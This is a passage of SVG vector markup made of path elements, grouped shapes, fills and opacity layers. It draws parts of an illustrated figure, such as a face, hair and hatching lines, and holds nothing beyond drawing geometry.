          <path id="Path_82" data-name="Path 82" d="M209.62,23.94c-.33,3.31.18,6.65.04,9.97s-1.04,6.79-3.7,9.2a12.251,12.251,0,0,1-9.42,2.78,11.5,11.5,0,0,1-8.27-4.91c-1.54-2.45-1.6-7.64-1.73-10.24a4.8,4.8,0,0,1-4.12-1.5,2.6,2.6,0,0,1,.31-3.64c1.11-.91,2.47-1,3.95.51a24.235,24.235,0,0,1,.67-5.15c.57-2.58.8-6.43,2.66-7.45a20.239,20.239,0,0,1,4.47-1.28c2.12-.44,4.96,1.02,7.15,1.12a12.437,12.437,0,0,1,6.09,2.42c2.05,1.41,2.14,5.68,1.89,8.16Z" fill="#fff"/>
          <path id="Path_83" data-name="Path 83" d="M198.03,46.47a13.426,13.426,0,0,1-1.55-.09,11.956,11.956,0,0,1-8.62-5.13c-1.45-2.31-1.64-6.69-1.76-9.6,0-.13-.01-.26-.02-.39a5.115,5.115,0,0,1-4.03-1.71,3.063,3.063,0,0,1,.38-4.31,2.948,2.948,0,0,1,3.81-.14,25.349,25.349,0,0,1,.64-4.17v-.06c.13-.53.23-1.1.34-1.72.42-2.41.9-5.14,2.58-6.06a20.181,20.181,0,0,1,4.46-1.3l.14-.03a10.024,10.024,0,0,1,4.45.54,14.526,14.526,0,0,0,2.82.57,12.593,12.593,0,0,1,6.34,2.51c2.64,1.81,2.21,7.49,2.1,8.6l-.48-.05.48.05a39.683,39.683,0,0,0-.02,5.56c.06,1.44.13,2.92.06,4.39-.18,4.17-1.47,7.38-3.86,9.54a12.478,12.478,0,0,1-8.25,2.99Zm-11.48-16.2a.447.447,0,0,1,.31.12.508.508,0,0,1,.17.34c.01.27.03.56.04.88.11,2.63.3,7.03,1.61,9.12a10.99,10.99,0,0,0,7.92,4.69,11.7,11.7,0,0,0,9.04-2.66c2.19-1.98,3.38-4.96,3.55-8.86.06-1.43,0-2.89-.06-4.31a40.052,40.052,0,0,1,.03-5.69c.28-2.83.01-6.55-1.69-7.71a11.623,11.623,0,0,0-5.84-2.34,15.028,15.028,0,0,1-3.03-.6,9.44,9.44,0,0,0-4-.53l-.14.03a19.166,19.166,0,0,0-4.19,1.2c-1.27.7-1.71,3.18-2.09,5.38-.11.62-.21,1.21-.33,1.76v.06a22.967,22.967,0,0,0-.66,4.98.491.491,0,0,1-.3.45.5.5,0,0,1-.53-.11c-1.16-1.19-2.24-1.35-3.3-.48a2.1,2.1,0,0,0-.24,2.96,4.321,4.321,0,0,0,3.69,1.32h.05Z"/>
        </g>
        <g id="Group_57" data-name="Group 57">
          <path id="Path_84" data-name="Path 84" d="M199.8,18.01a6.1,6.1,0,0,0,3.64,4.09c1.41.29,2.01-.31,2.73-1.62,1.15,1.25,1.98,2.5,3.22,3.12a4.055,4.055,0,0,0,5.34-2.04,4.373,4.373,0,0,0-2.08-5.52c1.32.46,2.81-.77,2.98-2.21a3.933,3.933,0,0,0-1.88-3.62,12.856,12.856,0,0,0-3.99-1.33,3.692,3.692,0,0,0-.89-4.13,5.688,5.688,0,0,0-4.04-1.37,5.087,5.087,0,0,0-2.74.74,3.345,3.345,0,0,0-1.48,2.53,5.366,5.366,0,0,0-4.95-2.72c-1.95.26-3.63,2.44-3.94,4.03a4.516,4.516,0,0,0-3.36-2.37c-2.85-.14-3.74,2.21-2.78,5.44a3.285,3.285,0,0,0-4.69,1.64,6.6,6.6,0,0,0,.63,5.64c1,1.4,4.9,2.9,7.91,1.19a7.585,7.585,0,0,0,3.17-3.78,5.56,5.56,0,0,0,3.2,3.46,3.022,3.022,0,0,0,3.99-1.16Z" fill="#d6efc1"/>
          <path id="Path_85" data-name="Path 85" d="M210.98,24.45a3.981,3.981,0,0,1-1.81-.42,8.626,8.626,0,0,1-2.56-2.32l-.36-.42a2.48,2.48,0,0,1-2.91,1.28c-1.31-.27-3.03-1.97-3.72-3.51a3.69,3.69,0,0,1-4.01.54,5.6,5.6,0,0,1-3.01-2.78,7.592,7.592,0,0,1-2.93,3.08c-3.29,1.87-7.46.19-8.54-1.32a7.062,7.062,0,0,1-.68-6.12,3.928,3.928,0,0,1,2.43-2.21,3.779,3.779,0,0,1,2-.05,4.831,4.831,0,0,1,.59-3.97,3.278,3.278,0,0,1,2.92-1.14,4.423,4.423,0,0,1,3.17,1.8,5.749,5.749,0,0,1,4.05-3.46,5.516,5.516,0,0,1,4.78,2.08,3.89,3.89,0,0,1,1.45-1.81,5.489,5.489,0,0,1,2.99-.82,6.125,6.125,0,0,1,4.38,1.5,4.238,4.238,0,0,1,1.21,4.14,1.891,1.891,0,0,0,.23.05,10.561,10.561,0,0,1,3.37,1.21,4.445,4.445,0,0,1,2.1,4.09,3.252,3.252,0,0,1-1.5,2.32,3,3,0,0,1-.51.25,4.939,4.939,0,0,1,1.07,5.29,4.523,4.523,0,0,1-2.63,2.42,4.47,4.47,0,0,1-1.56.28Zm-4.82-4.46a.519.519,0,0,1,.36.16c.29.32.56.63.82.94a7.906,7.906,0,0,0,2.26,2.08,3.333,3.333,0,0,0,2.6.1,3.539,3.539,0,0,0,2.07-1.9,3.9,3.9,0,0,0-1.82-4.89.488.488,0,0,1-.26-.62.5.5,0,0,1,.61-.28,1.518,1.518,0,0,0,1.29-.19,2.355,2.355,0,0,0,1.06-1.62,3.489,3.489,0,0,0-1.66-3.16,9.426,9.426,0,0,0-3.06-1.08c-.26-.06-.52-.12-.78-.19a.48.48,0,0,1-.32-.27.513.513,0,0,1,0-.42,3.187,3.187,0,0,0-.79-3.56,5.178,5.178,0,0,0-3.7-1.23,4.573,4.573,0,0,0-2.48.66,2.879,2.879,0,0,0-1.27,2.16.482.482,0,0,1-.89.23,4.823,4.823,0,0,0-4.48-2.5c-1.77.23-3.27,2.32-3.53,3.65a.484.484,0,0,1-.88.17,3.993,3.993,0,0,0-2.98-2.15,2.362,2.362,0,0,0-2.11.77c-.64.81-.71,2.29-.19,4.05a.475.475,0,0,1-.17.52.482.482,0,0,1-.55.02,2.654,2.654,0,0,0-2.16-.25,2.946,2.946,0,0,0-1.83,1.68,6.041,6.041,0,0,0,.58,5.16c.81,1.13,4.4,2.69,7.28,1.05a7.2,7.2,0,0,0,2.97-3.56.479.479,0,0,1,.44-.29h0a.486.486,0,0,1,.44.28,5.09,5.09,0,0,0,2.95,3.22,2.575,2.575,0,0,0,3.36-.92.479.479,0,0,1,.91.15,5.667,5.667,0,0,0,3.26,3.67c1.04.22,1.49-.07,2.21-1.38a.471.471,0,0,1,.36-.25h.06Z"/>
        </g>
        <path id="Path_86" data-name="Path 86" d="M206.06,28.41a.79.79,0,1,0-.93.56A.77.77,0,0,0,206.06,28.41Z"/>
        <path id="Path_87" data-name="Path 87" d="M195.11,27.87a.79.79,0,1,0-.93.56A.77.77,0,0,0,195.11,27.87Z"/>
        <path id="Path_88" data-name="Path 88" d="M197.44,41.24a4.412,4.412,0,0,1-3.57-1.85.481.481,0,1,1,.79-.55,3.454,3.454,0,0,0,3.26,1.4.481.481,0,0,1,.15.95,4.458,4.458,0,0,1-.63.05Z"/>
        <path id="Path_89" data-name="Path 89" d="M199.73,37.33a3.878,3.878,0,0,1-1.03-.13,3.081,3.081,0,0,1-1.95-1.47.481.481,0,1,1,.85-.45,2.167,2.167,0,0,0,1.34.99,3.765,3.765,0,0,0,1.85-.04,1.4,1.4,0,0,0,.62-.27,1,1,0,0,0,.23-.84,4.007,4.007,0,0,0-.29-1l-.06-.17a14.981,14.981,0,0,1-.82-6.7.483.483,0,0,1,.53-.43.489.489,0,0,1,.43.53,14.066,14.066,0,0,0,.76,6.27l.06.16a5.385,5.385,0,0,1,.34,1.24,1.921,1.921,0,0,1-.53,1.64,2.33,2.33,0,0,1-1.05.51,5.53,5.53,0,0,1-1.3.17Z"/>
        <path id="Path_90" data-name="Path 90" d="M186.69,28.31a.485.485,0,0,1-.48-.47c-.03-.92-.02-1.41-.01-2.3a.487.487,0,0,1,.48-.48h0a.482.482,0,0,1,.48.49c0,.91-.01,1.36,0,2.27a.489.489,0,0,1-.47.5h-.01Z"/>
        <path id="Path_91" data-name="Path 91" d="M184.75,17.6a.451.451,0,0,1-.25-.07,4.226,4.226,0,0,1-1.86-4.36.486.486,0,0,1,.57-.37.479.479,0,0,1,.37.57A3.208,3.208,0,0,0,185,16.7a.48.48,0,0,1-.25.89Z"/>
        <g id="Group_58" data-name="Group 58" opacity="0.13">
          <path id="Path_92" data-name="Path 92" d="M192.89,15.68c.16.24.32.47.5.7.01.05.04.12.1.3a5.58,5.58,0,0,0,.35.69,6.327,6.327,0,0,0,1.55,1.64.449.449,0,0,1,.57-.15c.03.01.07.03.1.04l.06.02a9.769,9.769,0,0,0,1.2.23h-.13a5.427,5.427,0,0,0,1.24-.1l.14-.03a.545.545,0,0,1,.31,0,.235.235,0,0,0,.08-.02l.02-.04v-.03a.951.951,0,0,1,.01-.14.591.591,0,0,1,.74-.49.7.7,0,0,1,.47.76,3.359,3.359,0,0,0,.16.33c.26.4.57.78.87,1.16.06.07.22.25.25.29l.04.04a4.957,4.957,0,0,0,1.76,1.17h.01a2.136,2.136,0,0,0,.5.06.389.389,0,0,0,.15-.02.185.185,0,0,0,.07-.02.887.887,0,0,0,.17-.08l.04-.03a.738.738,0,0,0,.06-.05,1.172,1.172,0,0,0,.55-.13,1.135,1.135,0,0,0,.49-.27,1.22,1.22,0,0,0,.2-.25l.02-.04s.03-.02.03-.03a.9.9,0,0,0,.09-.1,4.2,4.2,0,0,0,.49-.7h.02a.627.627,0,0,1,.49.37,2.03,2.03,0,0,0,.11.26c.01.02.03.05.04.07a.518.518,0,0,0,.03.05h0v.02c.16.18.28.38.44.55.06.07.13.13.19.19l.06.06.03.03a8.151,8.151,0,0,0,1.08.86c.26.21.63.31.8.6a.662.662,0,0,1-.97.86,8.152,8.152,0,0,1-2.15-1.86,3.282,3.282,0,0,1-.27-.38,4.5,4.5,0,0,1-1.46,1.22,2.865,2.865,0,0,1-2.62-.39,6.073,6.073,0,0,1-1.39-1.2,8.57,8.57,0,0,1-1.01-1.4,2.982,2.982,0,0,1-.87.67,2.389,2.389,0,0,1-1.49.18.107.107,0,0,1,.06.02.772.772,0,0,1-.15-.02,5.31,5.31,0,0,1-1.75-.74,7.316,7.316,0,0,1-2.08-1.84,5.246,5.246,0,0,1-.8-1.56c-.03-.14,0-.02.02.06-.08-.21-.14-.42-.2-.64a.654.654,0,0,1-.03-.39.5.5,0,0,1,.61-.38Z"/>
        </g>
        <g id="Group_59" data-name="Group 59" opacity="0.13">
          <path id="Path_93" data-name="Path 93" d="M182.32,19.85c.26-.35.66-.15.98-.02.48.19.98.32,1.46.5a9.738,9.738,0,0,0,1.07.39h-.01c.11.03.2.05,0,0,.19.06.4.08.59.16a.6.6,0,0,1,.24-.2.589.589,0,0,1,.77.76,8.239,8.239,0,0,0-.43,1.07c-.09.55-.28,1.42-1.03,1.15a.709.709,0,0,1-.33-.31c.01.05-.29-.32-.38-.4-.33-.35-.98-.92-1.61-1.48-.33-.28-.67-.54-1.03-.79-.03-.02-.06-.03-.09-.05s-.06-.04-.1-.06a.515.515,0,0,1-.11-.73Z"/>
        </g>
      </g>
      <g id="Group_61" data-name="Group 61">
        <path id="Path_94" data-name="Path 94" d="M191.45,59.63a2.32,2.32,0,0,0-3.36-.61l-1.11.82c-.61.46-1.29,1.01-1.32,1.78a2.642,2.642,0,0,0,.77,1.66,3.587,3.587,0,0,0,2.17,1.6,3.462,3.462,0,0,0,1.81-.48,3.116,3.116,0,0,0,1.02-.65A2.521,2.521,0,0,0,192,62.2a4.376,4.376,0,0,0-.54-2.56v-.02Z" fill="#fff"/>
        <path id="Path_95" data-name="Path 95" d="M188.79,65.38a1.927,1.927,0,0,1-.24-.01,4.023,4.023,0,0,1-2.5-1.78,3.116,3.116,0,0,1-.87-1.99,3.106,3.106,0,0,1,1.52-2.14l1.11-.82a2.87,2.87,0,0,1,2.25-.51,2.65,2.65,0,0,1,1.8,1.26h0a4.944,4.944,0,0,1,.61,2.87,2.963,2.963,0,0,1-.7,1.84,3.538,3.538,0,0,1-1.16.75,4.362,4.362,0,0,1-1.83.54Zm.71-6.34a1.933,1.933,0,0,0-1.13.37l-1.11.82c-.53.4-1.1.86-1.13,1.42a2.284,2.284,0,0,0,.66,1.34c.54.68,1.13,1.35,1.85,1.42a3.073,3.073,0,0,0,1.56-.44,2.915,2.915,0,0,0,.87-.54,2.019,2.019,0,0,0,.44-1.25,3.853,3.853,0,0,0-.48-2.27l.4-.27-.41.25a1.744,1.744,0,0,0-1.16-.81,2.206,2.206,0,0,0-.37-.04Z"/>
      </g>
      <path id="Path_96" data-name="Path 96" d="M183.01,57.61a.473.473,0,0,1-.4-.22,10.5,10.5,0,0,1-1.66-4.51.484.484,0,1,1,.96-.12,9.383,9.383,0,0,0,1.5,4.09.477.477,0,0,1-.14.67.5.5,0,0,1-.27.08Z"/>
      <path id="Path_97" data-name="Path 97" d="M180.96,59.08a.5.5,0,0,1-.36-.16l-1.23-1.4a.482.482,0,1,1,.72-.64l1.23,1.4a.478.478,0,0,1-.04.68.49.49,0,0,1-.32.12Z"/>
      <path id="Path_98" data-name="Path 98" d="M172.76,111.79h-.07a34.2,34.2,0,0,1-8.77-2.42.479.479,0,1,1,.38-.88,32.773,32.773,0,0,0,8.52,2.35.482.482,0,0,1-.07.96Z"/>
      <g id="Group_62" data-name="Group 62" opacity="0.13">
        <path id="Path_99" data-name="Path 99" d="M218.78,94.28a3.281,3.281,0,0,0-1.45.68c-.73.49-1.46.96-2.18,1.46a46.192,46.192,0,0,0-4.88,3.83,1.1,1.1,0,0,0,1.55,1.55,47.628,47.628,0,0,1,4.76-3.71c.68-.43,1.35-.87,2.04-1.29.34-.25.8-.36,1.05-.71a1.12,1.12,0,0,0-.88-1.8Z"/>
      </g>
      <path id="Path_100" data-name="Path 100" d="M164.9,186.27h-.01a.165.165,0,0,1-.15-.17l1.15-13.11a.16.16,0,1,1,.32.02l-1.15,13.11A.163.163,0,0,1,164.9,186.27Z"/>
      <path id="Path_101" data-name="Path 101" d="M170.1,188.08h0a.167.167,0,0,1-.16-.17l.55-16.36a.158.158,0,0,1,.16-.16h0a.167.167,0,0,1,.16.17l-.55,16.36A.158.158,0,0,1,170.1,188.08Z"/>
      <path id="Path_102" data-name="Path 102" d="M219.98,147.05h0a.153.153,0,0,1-.15-.17l.3-7.21a.159.159,0,0,1,.17-.15.153.153,0,0,1,.15.17l-.3,7.21a.15.15,0,0,1-.16.15Z"/>
      <path id="Path_103" data-name="Path 103" d="M224.61,152.97h0a.158.158,0,0,1-.16-.16c.03-6.51.22-13.11.57-19.61a.16.16,0,0,1,.32.02c-.34,6.49-.54,13.09-.57,19.59a.158.158,0,0,1-.16.16Z"/>
      <path id="Path_104" data-name="Path 104" d="M198.61,180.18h-.04a.162.162,0,0,1-.11-.2,19.274,19.274,0,0,1,1.7-4.06.161.161,0,0,1,.22-.06.153.153,0,0,1,.06.22,19.218,19.218,0,0,0-1.67,4,.159.159,0,0,1-.15.12Z"/>
      <path id="Path_105" data-name="Path 105" d="M199.84,181.52h-.03a.154.154,0,0,1-.12-.19,13.871,13.871,0,0,1,1.14-3.32.163.163,0,0,1,.29.15,13.352,13.352,0,0,0-1.11,3.24.16.16,0,0,1-.16.13Z"/>
      <path id="Path_106" data-name="Path 106" d="M201.31,182.68h0a.158.158,0,0,1-.16-.16,8.659,8.659,0,0,1,.83-3.53.159.159,0,1,1,.29.13,8.146,8.146,0,0,0-.79,3.4.158.158,0,0,1-.16.16Z"/>
      <path id="Path_107" data-name="Path 107" d="M202.94,183.57h0a.158.158,0,0,1-.16-.16,13.21,13.21,0,0,1,.47-3.24.158.158,0,0,1,.2-.11.151.151,0,0,1,.11.2,12.5,12.5,0,0,0-.46,3.16.158.158,0,0,1-.16.16Z"/>
      <path id="Path_108" data-name="Path 108" d="M204.73,184.77a.158.158,0,0,1-.16-.16,25.768,25.768,0,0,1,.22-3.4.161.161,0,1,1,.32.04,23.563,23.563,0,0,0-.22,3.35.158.158,0,0,1-.16.16h0Z"/>
      <path id="Path_109" data-name="Path 109" d="M206.45,185.53a.156.156,0,0,1-.16-.15,19.859,19.859,0,0,1,.07-2.78.161.161,0,1,1,.32.04,19.117,19.117,0,0,0-.07,2.73.165.165,0,0,1-.15.17h0Z"/>
      <path id="Path_110" data-name="Path 110" d="M208.12,186.82a.162.162,0,0,1-.16-.14,9.91,9.91,0,0,1-.04-2.31.161.161,0,0,1,.32.04,9.787,9.787,0,0,0,.04,2.23.159.159,0,0,1-.14.18h-.02Z"/>
      <path id="Path_111" data-name="Path 111" d="M147.77,78.76a.256.256,0,0,1-.12-.06,28.29,28.29,0,0,1-1.72-2.35.16.16,0,0,1,.27-.17,25.538,25.538,0,0,0,1.7,2.32.161.161,0,0,1-.02.23.211.211,0,0,1-.1.04Z"/>
      <path id="Path_112" data-name="Path 112" d="M152.45,82.06a.327.327,0,0,1-.13-.06c-1.66-2.08-3.27-4.24-4.8-6.41a.158.158,0,1,1,.26-.18c1.52,2.17,3.13,4.32,4.78,6.4a.162.162,0,0,1-.03.23.169.169,0,0,1-.1.03Z"/>
      <path id="Path_113" data-name="Path 113" d="M156.01,83.09a.256.256,0,0,1-.12-.06c-2.16-2.65-4.25-5.42-6.2-8.23a.158.158,0,1,1,.26-.18c1.95,2.8,4.03,5.56,6.18,8.21a.161.161,0,0,1-.02.23.211.211,0,0,1-.1.04Z"/>
      <path id="Path_114" data-name="Path 114" d="M158.58,83.63a.256.256,0,0,1-.12-.06,78.758,78.758,0,0,1-6.55-8.96.16.16,0,0,1,.27-.17,78.939,78.939,0,0,0,6.52,8.92.161.161,0,0,1-.02.23.143.143,0,0,1-.1.04Z"/>
      <path id="Path_115" data-name="Path 115" d="M161.02,83.39a.256.256,0,0,1-.12-.06,103.755,103.755,0,0,1-6.81-8.94.158.158,0,1,1,.26-.18,103.1,103.1,0,0,0,6.79,8.91.161.161,0,0,1-.02.23.143.143,0,0,1-.1.04Z"/>
      <path id="Path_116" data-name="Path 116" d="M163.47,83.13a.334.334,0,0,1-.12-.05,72.469,72.469,0,0,1-6.86-8.66.158.158,0,1,1,.26-.18,73.653,73.653,0,0,0,6.83,8.62.169.169,0,0,1,0,.23.15.15,0,0,1-.11.04Z"/>
      <path id="Path_117" data-name="Path 117" d="M165.52,82.65a.334.334,0,0,1-.12-.05,94.969,94.969,0,0,1-6.31-7.56.164.164,0,1,1,.26-.2,92.544,92.544,0,0,0,6.29,7.53.169.169,0,0,1,0,.23.15.15,0,0,1-.11.04Z"/>
      <path id="Path_118" data-name="Path 118" d="M167.65,82.06a.424.424,0,0,1-.12-.05c-2.03-2.11-4.02-4.31-5.91-6.55a.163.163,0,0,1,.25-.21c1.89,2.23,3.87,4.43,5.9,6.54a.169.169,0,0,1,0,.23.15.15,0,0,1-.11.04Z"/>
      <path id="Path_119" data-name="Path 119" d="M169.72,81.26a.243.243,0,0,1-.11-.04c-1.57-1.48-3.1-3.04-4.55-4.63a.163.163,0,1,1,.24-.22c1.45,1.59,2.97,3.14,4.53,4.62a.16.16,0,0,1,0,.23.166.166,0,0,1-.12.05Z"/>
      <path id="Path_120" data-name="Path 120" d="M171.71,80.56a.243.243,0,0,1-.11-.04c-1.27-1.14-2.5-2.36-3.67-3.6a.163.163,0,1,1,.23-.23c1.16,1.24,2.39,2.44,3.65,3.58a.16.16,0,0,1,.01.23.185.185,0,0,1-.12.05Z"/>
      <path id="Path_121" data-name="Path 121" d="M173.3,79.53a.243.243,0,0,1-.11-.04l-2.96-2.83a.163.163,0,0,1,.23-.23l2.96,2.83a.16.16,0,0,1,0,.23.166.166,0,0,1-.12.05Z"/>
      <path id="Path_122" data-name="Path 122" d="M175.34,78.81a.243.243,0,0,1-.11-.04l-2.74-2.59a.163.163,0,1,1,.23-.23l2.74,2.59a.16.16,0,0,1,0,.23.166.166,0,0,1-.12.05Z"/>
      <path id="Path_123" data-name="Path 123" d="M176.75,77.83a.326.326,0,0,1-.1-.03,21.672,21.672,0,0,1-2.23-2.05.163.163,0,1,1,.23-.23,22.018,22.018,0,0,0,2.19,2.02.172.172,0,0,1,.03.23.161.161,0,0,1-.13.06Z"/>
      <path id="Path_124" data-name="Path 124" d="M178.11,76.84a.243.243,0,0,1-.11-.04l-1.91-1.83a.163.163,0,0,1,.23-.23l1.91,1.83a.16.16,0,0,1,0,.23.166.166,0,0,1-.12.05Z"/>
      <path id="Path_125" data-name="Path 125" d="M179.64,75.86a.243.243,0,0,1-.11-.04,21.158,21.158,0,0,0-1.96-1.58.158.158,0,0,1,.18-.26,21.874,21.874,0,0,1,1.99,1.61.16.16,0,0,1,.01.23.185.185,0,0,1-.12.05Z"/>
      <path id="Path_126" data-name="Path 126" d="M180.99,74.69a.148.148,0,0,1-.09-.03,15.94,15.94,0,0,1-1.82-1.46.163.163,0,0,1,.23-.23,15.264,15.264,0,0,0,1.78,1.43.16.16,0,0,1,.04.22.146.146,0,0,1-.13.07Z"/>
      <path id="Path_127" data-name="Path 127" d="M182.36,73.26a.326.326,0,0,1-.1-.03l-1.6-1.18a.157.157,0,1,1,.19-.25l1.6,1.18a.15.15,0,0,1,.03.22.161.161,0,0,1-.13.06Z"/>
      <path id="Path_128" data-name="Path 128" d="M183.58,71.78a.326.326,0,0,1-.1-.03l-1.08-.84a.164.164,0,0,1,.2-.26l1.09.84a.17.17,0,0,1,.03.23.161.161,0,0,1-.13.06Z"/>
      <path id="Path_129" data-name="Path 129" d="M184.9,70.77a.218.218,0,0,1-.1-.04l-1.13-.98a.163.163,0,1,1,.21-.25l1.13.98a.17.17,0,0,1,.02.23.156.156,0,0,1-.12.06Z"/>
      <path id="Path_130" data-name="Path 130" d="M185.94,69.43s-.06,0-.08-.02c-.38-.23-.77-.49-1.14-.75a.158.158,0,0,1,.18-.26c.36.26.74.5,1.12.73a.154.154,0,0,1,.05.22.16.16,0,0,1-.14.08Z"/>
      <path id="Path_131" data-name="Path 131" d="M187.01,68.1a.2.2,0,0,1-.09-.02l-1.18-.75a.16.16,0,0,1,.17-.27l1.18.75a.162.162,0,0,1,.05.22.151.151,0,0,1-.14.07Z"/>
      <path id="Path_132" data-name="Path 132" d="M187.95,66.68a.123.123,0,0,1-.07-.02l-1.06-.55a.163.163,0,1,1,.15-.29l1.06.55a.164.164,0,0,1,.07.22.151.151,0,0,1-.14.09Z"/>
      <path id="Path_133" data-name="Path 133" d="M189.65,63.63a.172.172,0,0,1-.08-.02,18.551,18.551,0,0,1-2.27-1.55.163.163,0,1,1,.21-.25,17.439,17.439,0,0,0,2.22,1.52.16.16,0,0,1-.08.3Z"/>
      <path id="Path_134" data-name="Path 134" d="M190.77,62.51a.123.123,0,0,1-.07-.02,14.834,14.834,0,0,1-1.66-.91.16.16,0,1,1,.17-.27,17,17,0,0,0,1.62.89.156.156,0,0,1-.07.3Z"/>
      <path id="Path_135" data-name="Path 135" d="M244.8,88.16h-.03a.154.154,0,0,1-.12-.19l.77-3.62a.158.158,0,0,1,.19-.12.154.154,0,0,1,.12.19l-.77,3.62a.16.16,0,0,1-.16.13Z"/>
      <path id="Path_136" data-name="Path 136" d="M246.82,92.65h-.02a.159.159,0,0,1-.14-.18,85.581,85.581,0,0,1,1.67-9.15.159.159,0,1,1,.31.07,85.46,85.46,0,0,0-1.66,9.12.162.162,0,0,1-.16.14Z"/>
      <path id="Path_137" data-name="Path 137" d="M248.9,96.59h-.02a.159.159,0,0,1-.14-.18c.53-4.69,1.2-9.43,1.97-14.09a.157.157,0,0,1,.31.05c-.77,4.65-1.43,9.38-1.97,14.07a.155.155,0,0,1-.16.14Z"/>
      <path id="Path_138" data-name="Path 138" d="M251.16,100.88h-.01a.165.165,0,0,1-.15-.17c.48-5.64,1.07-11.35,1.76-16.98a.161.161,0,1,1,.32.04c-.68,5.62-1.27,11.33-1.75,16.97a.163.163,0,0,1-.16.15Z"/>
      <path id="Path_139" data-name="Path 139" d="M253.36,103.88h-.02a.154.154,0,0,1-.14-.18l1.42-14.51a.161.161,0,1,1,.32.04l-1.42,14.51a.163.163,0,0,1-.16.15Z"/>
      <path id="Path_140" data-name="Path 140" d="M255.36,108.1h-.02a.159.159,0,0,1-.14-.18l1.59-14.44a.161.161,0,0,1,.32.04l-1.59,14.44a.155.155,0,0,1-.16.14Z"/>
      <path id="Path_141" data-name="Path 141" d="M257.68,111.74h-.02a.159.159,0,0,1-.14-.18c.58-4.68,1.05-9.43,1.4-14.12a.165.165,0,0,1,.17-.15.153.153,0,0,1,.15.17c-.35,4.7-.82,9.46-1.4,14.14a.162.162,0,0,1-.16.14Z"/>
      <path id="Path_142" data-name="Path 142" d="M260.2,115.45h-.01a.159.159,0,0,1-.15-.17l1.01-13.67a.153.153,0,0,1,.17-.15.159.159,0,0,1,.15.17l-1.01,13.67A.163.163,0,0,1,260.2,115.45Z"/>
      <path id="Path_143" data-name="Path 143" d="M262.78,119h0a.164.164,0,0,1-.16-.16c.1-4.52.31-9.1.64-13.6a.16.16,0,0,1,.32.02c-.33,4.5-.55,9.07-.64,13.59a.158.158,0,0,1-.16.16Z"/>
      <path id="Path_144" data-name="Path 144" d="M265.15,122.14h0a.153.153,0,0,1-.15-.17l.69-12.99a.159.159,0,0,1,.17-.15.153.153,0,0,1,.15.17l-.69,12.99a.156.156,0,0,1-.16.15Z"/>
      <path id="Path_145" data-name="Path 145" d="M267.19,124.56h-.01a.165.165,0,0,1-.15-.17l.97-12.11a.16.16,0,0,1,.32.02l-.97,12.11A.163.163,0,0,1,267.19,124.56Z"/>
      <path id="Path_146" data-name="Path 146" d="M269.59,127.54h-.01a.159.159,0,0,1-.15-.17c.3-3.96.52-7.99.64-11.96a.165.165,0,0,1,.33.01c-.13,3.98-.34,8.01-.64,11.98a.163.163,0,0,1-.16.15Z"/>
      <path id="Path_147" data-name="Path 147" d="M271.97,130.19h-.01a.153.153,0,0,1-.15-.17l.82-11.91a.16.16,0,0,1,.32.02l-.82,11.91a.163.163,0,0,1-.16.15Z"/>
      <path id="Path_148" data-name="Path 148" d="M274.11,132.41h-.02a.165.165,0,0,1-.14-.18c.51-3.6.88-7.26,1.1-10.89a.148.148,0,0,1,.17-.15.153.153,0,0,1,.15.17c-.22,3.64-.59,7.31-1.1,10.92a.162.162,0,0,1-.16.14Z"/>
      <path id="Path_149" data-name="Path 149" d="M277.03,135.86h0a.153.153,0,0,1-.15-.17l.56-11.47a.16.16,0,0,1,.32.02l-.56,11.47a.15.15,0,0,1-.16.15Z"/>
      <path id="Path_150" data-name="Path 150" d="M280.04,138.29a.158.158,0,0,1-.16-.16l-.04-11.28a.158.158,0,0,1,.16-.16h0a.158.158,0,0,1,.16.16l.04,11.28a.158.158,0,0,1-.16.16Z"/>
      <path id="Path_151" data-name="Path 151" d="M282.71,139.99a.158.158,0,0,1-.16-.16l-.23-10.26a.16.16,0,1,1,.32,0l.23,10.26a.158.158,0,0,1-.16.16Z"/>
      <path id="Path_152" data-name="Path 152" d="M285.22,137.88a.162.162,0,0,1-.16-.14,31.189,31.189,0,0,1-.1-5.55.153.153,0,0,1,.17-.15.159.159,0,0,1,.15.17,31.567,31.567,0,0,0,.1,5.5.167.167,0,0,1-.14.18h-.02Z"/>
      <path id="Path_153" data-name="Path 153" d="M122.92,184.85h-.05a.166.166,0,0,1-.11-.2l.94-3.2a.166.166,0,0,1,.2-.11.158.158,0,0,1,.11.2l-.94,3.2a.159.159,0,0,1-.15.12Z"/>
      <path id="Path_154" data-name="Path 154" d="M124.29,188.68h-.03a.168.168,0,0,1-.13-.19c.54-2.83,1.21-5.68,1.99-8.45a.161.161,0,1,1,.31.09c-.77,2.76-1.44,5.6-1.98,8.42a.153.153,0,0,1-.16.13Z"/>
      <path id="Path_155" data-name="Path 155" d="M125.98,193.39h-.02a.159.159,0,0,1-.14-.18c.41-3.13.96-6.29,1.64-9.38a.159.159,0,0,1,.31.07c-.67,3.08-1.22,6.22-1.63,9.35a.162.162,0,0,1-.16.14Z"/>
      <path id="Path_156" data-name="Path 156" d="M127.91,197.4h-.02a.159.159,0,0,1-.14-.18c.33-3.09.74-6.2,1.21-9.26a.157.157,0,0,1,.31.05c-.47,3.06-.88,6.17-1.21,9.25a.155.155,0,0,1-.16.14Z"/>
      <path id="Path_157" data-name="Path 157" d="M129.76,201.5h-.02a.154.154,0,0,1-.14-.18l.96-9.84a.161.161,0,1,1,.32.04l-.96,9.84a.163.163,0,0,1-.16.15Z"/>
      <path id="Path_158" data-name="Path 158" d="M131.9,205.13h-.02a.159.159,0,0,1-.14-.18l.99-9.37a.15.15,0,0,1,.18-.14.154.154,0,0,1,.14.18l-.99,9.37a.155.155,0,0,1-.16.14Z"/>
      <path id="Path_159" data-name="Path 159" d="M134.49,208.62h-.01a.159.159,0,0,1-.15-.17l.68-8.9a.172.172,0,0,1,.17-.15.159.159,0,0,1,.15.17l-.68,8.9A.163.163,0,0,1,134.49,208.62Z"/>
      <path id="Path_160" data-name="Path 160" d="M137.2,212.01h0a.158.158,0,0,1-.16-.16c.03-2.91.13-5.87.31-8.78a.148.148,0,0,1,.17-.15.153.153,0,0,1,.15.17c-.18,2.91-.28,5.86-.31,8.77a.158.158,0,0,1-.16.16Z"/>
      <path id="Path_161" data-name="Path 161" d="M140.2,214.77a.156.156,0,0,1-.16-.15c-.13-2.8-.18-5.63-.17-8.43a.158.158,0,0,1,.16-.16h0a.158.158,0,0,1,.16.16c-.02,2.79.04,5.63.16,8.42a.165.165,0,0,1-.15.17h0Z"/>
